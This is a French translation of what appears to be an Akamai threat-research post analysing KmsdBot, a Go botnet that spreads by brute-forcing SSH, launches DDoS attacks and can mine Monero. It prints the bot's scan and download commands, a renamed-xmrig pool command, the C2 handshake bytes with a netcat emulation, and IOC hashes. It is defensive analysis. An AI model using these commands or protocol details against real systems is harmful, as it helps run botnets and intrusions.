KmsdBot : le programme malveillant d'attaque et de minage
Synthèse
Le groupe Security Intelligence d'Akamai a observé un nouveau logiciel malveillant qui a infecté notre pot de miel et que nous avons baptisé KmsdBot.
Le botnet infecte les systèmes via une connexion SSH qui utilise des identifiants de connexion faibles.
Il est écrit en Golang, un langage de plus en plus utilisé par les attaquants en raison de la difficulté de faire de l'ingénierie inverse.
Le programme malveillant attaque en utilisant UDP, TCP, HTTP POST et GET, et une infrastructure de commande et de contrôle (C2), qui communique via TCP.
Le programme malveillant ne persiste pas sur le système infecté afin d'échapper à la détection.
Les cibles du programme malveillant sont variées. Elles comprennent le secteur des jeux vidéo, le secteur des technologies et celui de la fabrication de voitures de luxe.
Le botnet a également la capacité d'exploiter des cryptomonnaies.
Le programme malveillant prend en charge plusieurs architectures, telles que Winx86, Arm64 et MIPS64, x86_64.
À chaque nouveau jour son nouveau programme malveillant
L'équipe SIRT (Security Intelligence Response Team) d'Akamai est chargée de suivre, détecter, documenter et publier de nouvelles découvertes afin de protéger la sécurité et la stabilité d'Akamai, de ses clients et d'Internet dans son ensemble. Dans le cadre de cette mission, nous avons réparti une myriade de pots de miel sur Internet. Les membres de la SIRT observent et analysent ces pots de miel et font ainsi toutes sortes de nouvelles découvertes, ce qui nous permet aussi de garder un œil sur ce qui se passe dans la nature.
Cette semaine, nous avons commencé à tester une nouvelle configuration de pot de miel pour voir quelles autres découvertes nous pourrions faire, notamment alors que nous entrons en période de fêtes. Comme nous observons en général une plus forte activité malveillante à cette période de l'année, nous avons laissé le nouveau pot de miel plus ouvert et accessible tout au long des premières étapes de test et de modification. C'est un bon moyen de le tester, n'est-ce pas ?
Sans surprise, nous avons trouvé une entrée de journal intéressante : un mineur de cryptomonnaie doté d'une fonctionnalité de déni de service distribué (DDoS) adaptée au secteur des jeux vidéo. Ce n'est pas souvent que nous observons des attaques et une propagation active de ce type de botnets, en particulier parmi ceux écrits en Golang. Les cibles vont des entreprises de jeux vidéo aux marques de voitures de luxe en passant par les entreprises de sécurité. Ce programme malveillant est presque imprévisible en ce qui concerne ses cibles.
Dans cette publication, nous vous présenterons l'histoire de KmsdBot alors qu'il a traversé nos mécanismes afin que vous puissiez l'étudier et améliorer la sécurité de votre propre organisation.
Vérifiez toujours les journaux
Comme le pot de miel était assez ouvert, nous nous attendions à ce qu'il ait beaucoup de succès. Après tout, un bon pot de miel séduit les attaquants. Il y avait des commandes pour télécharger des programmes malveillants. Nous avons donc commencé une enquête. Après examen, nous avons trouvé un certain nombre d'entrées comme celle de la figure 1.
Fig. 1 : entrée de journal de commande de téléchargement et d'exécution d'infection par un logiciel malveillant
Nous avons utilisé le protocole FTP (File Transfer Protocol) pour nous connecter au système et accéder à tous les fichiers disponibles au téléchargement. Cela permet d'en savoir plus sur les motivations du logiciel malveillant lui-même et potentiellement des auteurs de menaces derrière celui-ci.
Fig. 2 : diverses architectures de processeur prises en charge
La figure 2 illustre la structure de répertoire du serveur de téléchargement FTP. Nous pouvons voir les répertoires de l'architecture du système : certains contiennent des fichiers binaires compilés, tandis que d'autres sont vides. Mais les répertoires vides indiquent les emplacements que les auteurs de programmes malveillants peuvent cibler ensuite. Le script download.php contient le code d'infection qui téléchargera et exécutera le logiciel malveillant sur le serveur Web sur lequel il est exécuté :
Fig. 3 : le script download.php contient le code d'infection qui téléchargera et exécutera le logiciel malveillant sur le serveur Web sur lequel il est exécuté.
Après une analyse plus approfondie, il semblait y avoir quelques fichiers binaires compilés pour diverses architectures (figure 3). Bien que certains répertoires soient vides, certaines architectures (comme x86_64 et 386) disposent d'échantillons de programmes malveillants à télécharger. Il sera important de s'en souvenir lorsque nous examinerons les cibles ultérieurement dans cette publication.
Fig. 4 : Les fichiers binaires de taille similaire semblent être des versions révisées de la même base de code de programme malveillant
Les fichiers sont tous des fichiers binaires compilés en langage Go.
client: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, Go BuildID=ob_PyXeD8H4173aDP-NM/Z7DzwyNXZ8c1Wr7LyTOK/t8bg8nky3tdpKdKSAvyp/_nWexL6rk1sZt5hRLfgs, with debug_info, not stripped
ksmdm: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=lmjZVXbGVxjEutEAYziK/ak2EoKWzPPmCz2ipOltK/uKypKwO7m2jjT2AT0qnG/PiKIqd334XYNEl_likc3, with debug_info, not stripped
ksmds: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=CV7cqV3r6hVM05Ma2jpB/kc_FWOhPv8HtKZQUhiUi/jrGTR9lhjVWxp-9kHdDA/ev1S8rMmqqwjpvWz4sLX, with debug_info, not stripped
ksmdx: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=S65yXt0R7hEC1YEm5Ci7/qGG-jP6bpvA1TCgQwZoV/WpM491XNek0FReOrQmX_/EMNmhh6mJI8ycZhLPtP4, with debug_info, not stripped
kxmd: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=57pm413aVTQ8gOrUjHox/DwlgdSzYxLxitlBpe0OR/hdbtJaHv8ujFruku5AIJ/RrSUbVKsJ9wj-rBopzh3, with debug_info, not stripped
kzmd: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=2FTLNIjq7bgMnSOW0NhD/YBc64Ubft703RycI5yQL/85YkVXL_eseyGJG3XHm1/M_laLRa5tNb5oeZ24ROq, with debug_info, not stripped
Analyse
Un diff de la sortie source Redress du fichier binaire client et du fichier binaire ksmdm révèle qu'il s'agit probablement de la même chose avec quelques légères différences de code. Redress est un utilitaire d'ingénierie inverse en langage Go et en open source qui reconstruit les structures des fichiers binaires en langage Go pour aider à l'ingénierie inverse. Il s'agit d'un outil essentiel car de plus en plus d'attaquants utilisent Golang pour leurs activités malveillantes, probablement parce qu'il représente un défi accru en termes d'ingénierie inverse.
Même programme malveillant, différent… tout ?
Le nom de package Go « /racine/client » est le même pour la plupart des fichiers binaires, ce qui implique qu'il pourrait s'agir du même programme malveillant, mais peut-être de versions révisées différentes disposant de fonctionnalités plus récentes. Les programmes malveillants sont souvent actualisés, mais celui-ci prend de multiples directions, ce qui est unique. Nous pensons qu'il existe un fichier binaire client qui parle au C2, effectue des mises à jour et démarre et arrête le processus de minage. L'autre fichier binaire semble effectuer des opérations de minage et des opérations d'attaque.
$ diff client.source ksmdm.source
19,23c19,23
< start Lines: 12 to 28 (16)
< startfunc1 Lines: 19 to 30 (11)
< startfunc2 Lines: 22 to 22 (0)
< udpclimb Lines: 30 to 60 (30)
< tcpclimb Lines: 60 to 88 (28)
---
> start Lines: 10 to 26 (16)
> startfunc1 Lines: 17 to 28 (11)
> startfunc2 Lines: 20 to 20 (0)
> udpclimb Lines: 28 to 58 (30)
> tcpclimb Lines: 58 to 86 (28)
La première cible observée de ce programme malveillant était une entreprise de jeux vidéo nommée FiveM, un client qui permet d'héberger des serveurs privés personnalisés pour Grand Theft Auto Online. La figure 4 montre un socket UDP en cours d'ouverture et un paquet en cours de construction avec un jeton de session FiveM. Cela fait croire au serveur qu'un utilisateur commence une nouvelle session et lui fait gaspiller des ressources supplémentaires en plus de la bande passante du réseau. Le programme malveillant inclut non seulement des attaques ciblées spécifiques, mais également des attaques génériques des couches 4 et 7.
Fig. 5 : désassemblage de la fonction sym.main.udpfivemtoken montrant la création d'un paquet UDP avec des données de jeton FiveM
Analyse et propagation
Un examen de l'échantillon ksmdx révèle des fonctions permettant d'effectuer des opérations d'analyse et des mises à jour logicielles, ainsi que de contrôler le processus de minage.
Package main: /root/client
File: client.go
(*Client)Recv Lines: 23 to 34 (11)
(*Client)Handle Lines: 34 to 52 (18)
(*Client).Handlefunc1 Lines: 35 to 35 (0)
File: command.go
NewCommand Lines: 15 to 32 (17)
(*Command)Handle Lines: 32 to 62 (30)
File: commandfunctions.go
ShellExec Lines: 11 to 23 (12)
scan Lines: 23 to 50 (27)
stopscan Lines: 50 to 69 (19)
updateminer Lines: 69 to 108 (39)
stopmine Lines: 108 to 127 (19)
updateclient Lines: 127 to 159 (32)
File: main.go
main Lines: 8 to 16 (8)
File: methods.go
start Lines: 12 to 28 (16)
startfunc1 Lines: 19 to 30 (11)
startfunc2 Lines: 22 to 22 (0)
udpclimb Lines: 30 to 60 (30)
tcpclimb Lines: 60 to 88 (28)
File: utils.go
randomwallet Lines: 73 to 79 (6)
envname Lines: 79 to 129 (50)
Le fichier binaire ksmdx est un programme de téléchargement qui informe le C2 que le système a été infecté en lui envoyant une requête POST HTTP avec la notification « Bruh Started ».
$./ksmdx 192.168.0.14 /ksmdm 192.168.0.14 kumd kxmds
La requête GET apparaît dans les journaux du serveur HTTP :
192.168.0.44 - - [20/Oct/2022:13:09:34 -0400] "GET /ksmdm HTTP/1.1" 200 2904330 "-" "Go-http-client/1.1"
une écoute démarre sur le port 45833 et le message POST de confirmation d'exécution suivant s'affiche :
Le bot peut analyser la commande pour télécharger une liste d'identifiants de connexion (figure 5) à utiliser lorsqu'il recherche des ports SSH ouverts :
!scan xxx.xxx.xxx.xxx xxx.xxx.xxx.xxx/win/kzmds xxx.xxx.xxx.xxx kvmd kmsd
Fig. 6 : le fichier kzmds est une liste de combinaisons de noms d'utilisateur et de mots de passe
Communication C2
[pid 18212] connect(3, {sa_family=AF_INET, sin_port=htons(51382), sin_addr=inet_addr("xxx.xxx.xxx.xxx")}, 16) = -1 EINPROGRESS (Operation now in progress)
[pid 1047] connect(4, {sa_family=AF_INET, sin_port=htons(51388), sin_addr=inet_addr("xxx.xxx.xxx.xxx")}, 16) = -1 EINPROGRESS (Operation now in progress)
Quand j'ai vérifié mes journaux à nouveau, j'ai vu que le programme malveillant attaquait mon pot de miel à partir d'une nouvelle adresse IP. Il téléchargeait de nouveaux fichiers binaires ayant une nouvelle adresse IP C2 intégrée.
Si l'on regarde le trafic réseau, on voit que la connexion est initialisée avec un octet nul de 0x00 par le système infecté, et une réponse de 0x01 est envoyée depuis le C2. Le système infecté répond alors par un 2 en hexadécimal 0x02.
[pid 2514865] write(4, "0x02", 4) = 4
And 0x01 is the response
xxx.xxx.xxx.xxx.51388 > xxx.xxx.xxx.xxx.52280: Flags [P.], cksum 0xf2b4 (correct), seq 20:24, ack 21, win 510, options [nop,nop,TS val 1019359456 ecr 4067014838], length 4
0x0000: 4500 0038 adf3 4000 3a06 9b4a ab16 1e1f E..8..@.:..J....
0x0010: c63a 6812 c8bc cc38 81f9 f90a abeb 552a .:h....8......U*
0x0020: 8018 01fe f2b4 0000 0101 080a 3cc2 30e0 ............<.0.
0x0030: f269 b8b6 3078 3031 .i..0x01
Nous pouvons le tester rapidement avec l'utilitaire netcat.
$ echo "0x00" | nc xxx.xxx.xxx.xxx 51388
0x01
[pid 2516369] write(4, "0x00", 4) = 4
It looks like 0x02 is the heartbeat
xxx.xxx.xxx.xxx.52280 > xxx.xxx.xxx.xxx.51388: Flags [P.], cksum 0xf7ac (incorrect -> 0xd616), seq 57:61, ack 57, win 502, options [nop,nop,TS val 4066922833 ecr 1019262337], length 4
0x0000: 4500 0038 3010 4000 4006 132e c63a 6812 E..80.@.@....:h.
0x0010: ab16 1e1f cc38 c8bc abeb 54de 81f9 f8c2 .....8....T.....
0x0020: 8018 01f6 f7ac 0000 0101 080a f268 5151 .............hQQ
0x0030: 3cc0 b581 3078 3032 <...0x02
Communication avec le C2
Le texte surligné en vert ci-dessous est la réponse du C2 et le texte surligné en bleu est l'endroit où j'ai émulé le logiciel malveillant en envoyant la réponse 0x02.
% telnet xxx.xxx.xxx.xxx 57388
Trying xxx.xxx.xxx.xxx...
Connected to xxx.xxx.xxx.xxx.
Escape character is '^]'.
0x00
0x010x02
0x010x02
0x010x02
0x010x02
0x010x02
0x01
Minage de cryptomonnaie
Les comptes utilisateur de portefeuille de cryptomonnaie possibles de la fonction sym.main.randomwomlet() sont indiqués ci-dessous. Je soupçonne qu'ils sont choisis au hasard pour contribuer à différents pools de minage. Sur la période où j'ai observé le botnet, je n'ai constaté aucune activité de minage de cryptomonnaie. Le botnet était uniquement impliqué dans l'activité DDoS. Le bot dispose cependant d'une fonctionnalité permettant de lancer l'activité de minage de cryptomonnaie : j'ai trouvé une commande ./ksmdr -o pool.hashvault.pro où ksmdr est en fait un fichier binaire xmrig ayant été renommé.
│ │╎ 0x0065b6b0 488d05356c08. lea rax, [0x006e22ec] ; "42WDUXX5UYtNf9DyboNRx6TgNrJD43QfgTvEjh8djtdKVoNppnN96Nz8sVp2wWJTQgW9e8XjFLkv6KpSEgwWbLXLMKn5wwg42vGrE1WDpKgue8Y9ewpi6gXupMqDqYi"
│ │╎ 0x0065b6b7 4889442428 mov qword [var_28h], rax
│ │╎ 0x0065b6bc 48c74424305f. mov qword [var_30h], 0x5f ; '_'
│ │╎ ; [0x5f:8]=-1 ; 95
│ │╎ 0x0065b6c5 488d053d6d08. lea rax, [0x006e2409] ; "46DBehyheMSatgdGffv8SVAEK8ts6Ur4wToVNL99Yqo6ZGnv7q4QpaxG7YnaasngPvN1rbyxYyCZAABgyXyme92wRMaVn1V3617de4a96262c6f5d9e98bf9292dc29"
│ │╎ 0x0065b6cc 4889442438 mov qword [var_38h], rax
│ │╎ 0x0065b6d1 48c74424405f. mov qword [var_40h], 0x5f ; '_'
│ │╎ ; [0x5f:8]=-1 ; 95
│ │╎ 0x0065b6da 488d05c96c08. lea rax, [0x006e23aa] ; "45yK4gR5QCNag2X4g6ss6PUiL4s1e929b8mev4Rz3CbiTPU9NSXYHiyPL9FMi6cDVvD7EKho4atUf82s3vkVfFXNSsMqyUE46DBehyheMSatgdGffv8SVAEK8ts6Ur4"
│ │╎ 0x0065b6e1 4889442448 mov qword [var_48h], rax
│ │╎ 0x0065b6e6 48c74424505f. mov qword [var_50h], 0x5f ; '_'
│ │╎ ; [0x5f:8]=-1 ; 95
│ │╎ 0x0065b6ef 488d05556c08. lea rax, [0x006e234b] ; "42vGrE1WDpKgue8Y9ewpi6gXupMqDqYiKV4EwM7CFZFuNdRKP3dG6rADE7DRAcoEWGY6LmgCRKAiX16wGAu3Tj4mMQ9HR5B45yK4gR5QCNag2X4g6ss6PUiL4s1e929"
L'examen des structures sources montre que certains fichiers binaires sont des versions mises à jour différentes de la même base de code. Il semble donc que ce botnet fait l'objet d'un développement actif.
$ diff reports/kxmd/kxmd-src.txt reports/75569874dadb814ce51d121c108ead006b0f39c27057945b649837563f635f51/75569874dadb814ce51d121c108ead006b0f39c27057945b649837563f635f51-src.txt
8c8
< (*Command)Handle Lines: 32 to 136 (104)
---
> (*Command)Handle Lines: 32 to 144 (112)
11,18c11,20
< scan Lines: 23 to 50 (27)
< stopscan Lines: 50 to 69 (19)
< updateminer Lines: 69 to 108 (39)
< stopmine Lines: 108 to 127 (19)
< updateclient Lines: 127 to 161 (34)
< loadclient Lines: 161 to 180 (19)
< startminer Lines: 180 to 193 (13)
< reloadminer Lines: 193 to 208 (15)
---
> scan Lines: 23 to 52 (29)
> startscan Lines: 52 to 75 (23)
> stopscan Lines: 75 to 97 (22)
> updateminer Lines: 97 to 144 (47)
> stopmine Lines: 144 to 166 (22)
> updateclient Lines: 166 to 202 (36)
> loadclient Lines: 202 to 221 (19)
> removefile Lines: 221 to 235 (14)
> startminer Lines: 235 to 248 (13)
> reloadminer Lines: 248 to 264 (16)
54,60c56,62
< getrandpath Lines: 12 to 62 (50)
< get Lines: 62 to 109 (47)
< fivem Lines: 109 to 156 (47)
< fivemguid Lines: 156 to 204 (48)
< post1 Lines: 204 to 255 (51)
< post Lines: 255 to 344 (89)
< bigdata Lines: 344 to 386 (42)
---
> getrandpath Lines: 11 to 61 (50)
> get Lines: 61 to 108 (47)
> fivem Lines: 108 to 158 (50)
> fivemguid Lines: 158 to 206 (48)
> post1 Lines: 206 to 257 (51)
> post Lines: 257 to 346 (89)
> bigdata Lines: 346 to 388 (42)
Analyse du trafic d'attaque
Les attaques que j'ai observées étaient soit des paquets TCP/UDP de couche 4 avec des données aléatoires comme charge utile, soit des paquets HTTP de couche 7 composés de requêtes GET et POST sur le chemin racine ou un chemin spécifié défini dans la commande d'attaque (figure 6).
Fig. 7 : requêtes POST d'attaque
Les captures d'écran ci-dessous montrent des en-têtes de demande tronqués et des référents aléatoires avec un en-tête manquant. Nous avons épuré certaines de ces images à des fins de confidentialité.
La figure 8 nous montre une commande !post provenant du C2 et ordonnant une attaque contre une cible.
Fig. 8 : commande d'attaque depuis le C2
Le C2 est défini dans la fonction sym.main.Connect() et est illustré aux figures 8, 9 et 10.
Fig. 9 : désassemblage de la fonction de communication du C2
Fig. 10 : désassemblage du code de réponse 0x02
Fig. 11 : paquet d'attaque TCP Big Data
IOCs
SHA256
701b874a56a9a0ed4101a88621441afec936c4210e18d9a3e20f9a95c454ce40 client
8d1df3c5357adbab988c62682c85b51582649ff8a3b5c21fca3780fe220e5b11 ksmdm
e83a61c538f11e4fc9dd9d0f414a9e74d0d585ffe3302e4d3741be6a3523bd1e ksmds
714eeba5b6e4610946cd07c1ddadddc94052bfe450a8a9b1c23495721082884d ksmdx
8775bdd7a33f136d31b2840dab68505ac0ab8eaa0bcb58713fae36552b8a1f95 kxmds
b927e0fe58219305d86df8b3e44493a7c854a6ea4f76d1ebe531a7bfd4365b54 kxmd
75569874dadb814ce51d121c108ead006b0f39c27057945b649837563f635f51 kzmd
09761d69bd5b00b2e767a1105dd3e80ce17b795cd817676c737a1e83c5b96f1b kumd.exe
8d1df3c5357adbab988c62682c85b51582649ff8a3b5c21fca3780fe220e5b11 ksmdm
3928c5874249cc71b2d88e5c0c00989ac394238747bb7638897fc210531b4aab ksmdr(xmrig)
e83a61c538f11e4fc9dd9d0f414a9e74d0d585ffe3302e4d3741be6a3523bd1e ksmds
01b4d10e08d10c36d0c50f00d017fd6b3da8ebdd194ecafd12b0335c07f9ae10 ksmdx
74075b2bdfaf52d9e5984a28ec7765ae489077a69dd696718e724a455a6f7910 kumd
b927e0fe58219305d86df8b3e44493a7c854a6ea4f76d1ebe531a7bfd4365b54 kxmd
8775bdd7a33f136d31b2840dab68505ac0ab8eaa0bcb58713fae36552b8a1f95 kxmds
7fe04a3307666e6b6dac381664c901daea3ed5e8af3d7700ac5bde9550350d5a kmsd.amd64
2e091ecc4c912e6fbe4258da470459018dc8f3efde2803281a416a2c8eb8cf1a kmsd.arm
7c8a06b85280a43f96215203fb229d0f2a91b23d84e6ab2d25d9382fef19c35b kmsd.arm64
da609100cb66e6e4e79916ca1e7481269406e6a484f46187b3accb1626552d61 kmsd.mips
8136613eb3427f908a200f52b7938cc184a31b626b6c85a35e664c064de6d533 kmsd.mips64
50f2fb45c11e40ea4bbf4a8a733b6e65ce25c3f182aa0aa33ffb59ebae712003 kmsd.mipsle
e5a06b250ba10fe0156efe7399b321cb8b1fc8b1929e49ee62d837fa1440313f kmsd.ppc64
2971a37849388c7c3af0840eabc52f0b604fb9894429b7397100b12a069cfeff kmsd.ppc64le
247b0d5e40b8b1ec316e9700b499a2dc20d73bfd7f36d913e7725334a2818a7e kmsd.riscv64
7517e597a6ba4a8659b2dd4252085a99baca000684435f8b451af1418bfcac84 kmsd.s390x
Conclusion
Ce botnet offre un excellent exemple de la complexité de la sécurité et de son évolution. Ce qui semblait être au départ un bot pour une application de jeux vidéo a évolué pour se tourner vers l'attaque de grandes marques de luxe. Ce qui est nouveau, c'est la façon dont il infecte les systèmes : via une connexion SSH qui utilise des identifiants de connexion faibles. La bonne nouvelle est que les mêmes techniques que nous recommandons pour assurer la sécurité des systèmes et des réseaux de la plupart des organisations s'appliquent encore ici.
N'utilisez pas d'identifiants de connexion faibles ou par défaut sur les serveurs ou les applications déployées.
Assurez-vous que les applications déployées sont à jour et disposent des derniers correctifs de sécurité, et vérifiez-les de temps à autre.
Utilisez l'authentification à clé publique pour vos connexions SSH. Il s'agit du meilleur moyen d'éviter ce type de compromission du système.
La SIRT d'Akamai continuera de surveiller cette activité et de publier des mises à jour dès qu'elles seront disponibles.
Pour accéder à plus d'études et de mises à jour en temps réel, assurez-vous de nous suivre sur Twitter.